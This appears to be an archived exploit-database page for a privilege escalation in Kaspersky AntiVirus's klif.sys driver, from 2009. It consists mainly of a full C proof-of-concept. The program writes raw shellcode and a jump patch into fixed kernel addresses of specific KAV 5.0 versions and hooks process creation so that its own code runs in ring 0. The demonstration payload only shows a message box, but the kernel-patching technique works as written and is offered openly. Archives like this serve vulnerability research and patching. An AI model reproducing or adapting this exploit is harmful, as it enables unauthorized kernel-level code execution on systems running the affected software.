Lucene search
K

Kaspersky AntiVirus "klif.sys" Privilege Escalation Vulnerability

🗓️ 16 Feb 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

Kaspersky AntiVirus "klif.sys" Privilege Escalation Vulnerabilit

Code

                                                /* Added NO_STRICT to 1 on line 2 /str0ke ! milw0rm.com */
#define NO_STRICT 1
#include <windows.h>

#undef STRICT

PUCHAR pCodeBase=(PUCHAR)0xBE9372C0;

PDWORD pJmpAddress=(PDWORD)0xBE9372B0;

PUCHAR pKAVRets[]={(PUCHAR)0xBE935087,(PUCHAR)0xBE935046};

PUCHAR pKAVRet;


unsigned char code[]={0x68,0x00,0x02,0x00,0x00,	//push 0x200
					0x68,0x00,0x80,0x93,0xBE,	//push <buffer address> - 0xBE938000
					0x6A,0x00,					//push 0
					0xB8,0x00,0x00,0x00,0x00,	//mov eax,<GetModuleFileNameA> -> +13
					0xFF,0xD0,					//call eax
					0x68,0x00,0x80,0x93,0xBE,	//push <buffer address>
					0x68,0x00,0x82,0x93,0xBE,	//push <address of the notepad path>- 0xBE938200
					0xB8,0x00,0x00,0x00,0x00,	//mov eax,<lstrcmpiA> -> +30
					0xFF,0xD0,					//call eax
					0x85,0xC0,					//test eax,eax
					0x74,0x03,					//je +03
					0xC2,0x04,0x00,				//retn 4
					0x6A,0x00,					//push 0
					0x68,0x00,0x84,0x93,0xBE,	//push <address of the message string>- 0xBE938400
					0x68,0x00,0x84,0x93,0xBE,	//push <address of the message string>- 0xBE938400
					0x6A,0x00,					//push 0
					0xB8,0x00,0x00,0x00,0x00,	//mov eax,<MessageBoxA> -> +58
					0xFF,0xD0,					//call eax
					0xC2,0x04,0x00				//retn 4
					};

unsigned char jmp_code[]={0xFF,0x25,0xB0,0x72,0x93,0xBE}; //jmp dword prt [0xBE9372B0]

//////////////////////////////////////////////////////////////

BOOLEAN LoadExploitIntoKernelMemory(void){



//Get function's addresses

	HANDLE hKernel=GetModuleHandle("KERNEL32.DLL");
	HANDLE hUser=GetModuleHandle("USER32.DLL");

	FARPROC pGetModuleFileNameA=GetProcAddress(hKernel,"GetModuleFileNameA");
	FARPROC plstrcmpiA=GetProcAddress(hKernel,"lstrcmpiA");

	FARPROC pMessageBoxA=GetProcAddress(hUser,"MessageBoxA");

	*(DWORD*)(code+13)=(DWORD)pGetModuleFileNameA;
	*(DWORD*)(code+30)=(DWORD)plstrcmpiA;
	*(DWORD*)(code+58)=(DWORD)pMessageBoxA;

//Prepare our data into ring0-zone.

	PCHAR pNotepadName=(PCHAR)0xBE938200;

	char temp_buffer[MAX_PATH];
	char *s;

	SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);

	lstrcpy(pNotepadName,temp_buffer);

	PCHAR pMessage=(PCHAR)0xBE938400;

	lstrcpy(pMessage,"Notepad is running!!! KAV is vulnerable!!!");

	memmove(pCodeBase,code,sizeof(code));

	*pJmpAddress=(DWORD)pCodeBase;

	memmove(pKAVRet,jmp_code,sizeof(jmp_code));

	return TRUE;
}

///////////////////////////////////////////////////////////////

void UnloadExploitFromKernelMemory(){

	UCHAR retn_4[]={0xC2,0x04,0x00};

	memmove(pKAVRet,retn_4,sizeof(retn_4));

}

/////////////////////////////////////////////////////////////////

PUCHAR GetKAVRetAddress(void){

//Check the retn 4 in the KAV 0xBE9334E1 function end
//Also, we check the KAV klif.sys existance.

	UCHAR retn_4[]={0xC2,0x04,0x00};

	__try{

		for(DWORD i=0;i<sizeof(pKAVRets)/sizeof(pKAVRets[0]);i++){

			if(memcmp(pKAVRets[i],retn_4,sizeof(retn_4))==0)
				return pKAVRets[i];

		}

	}__except(EXCEPTION_EXECUTE_HANDLER){MessageBox(NULL,"KAV is not installed",NULL,0);return NULL;}


	MessageBox(NULL,"Wrong KAV version. You need 5.0.227, 5.0.228 or 5.0.335 versions of KAV",NULL,0);
	return NULL;
}

/////////////////////////////////////////////////////////////////

void main(void){

	pKAVRet=GetKAVRetAddress();

	if(NULL==pKAVRet)
		return;


	if(!LoadExploitIntoKernelMemory())
		return;

	char temp_buffer[MAX_PATH];
	char *s;

	SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);

	PROCESS_INFORMATION pi;

	STARTUPINFO si={0};
	si.cb=sizeof(si);

	CreateProcess(NULL,temp_buffer,NULL,NULL,FALSE,
						0,NULL,NULL,&si,&pi);

	WaitForSingleObject(pi.hProcess,INFINITE);

	MessageBox(NULL,"Now you may start your own Notepad instance to check this exploit!","KAV_EXPLOITER",0);

	MessageBox(NULL,"Close this window to stop exploitation","KAV_EXPLOITER",0);

	UnloadExploitFromKernelMemory();
}

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation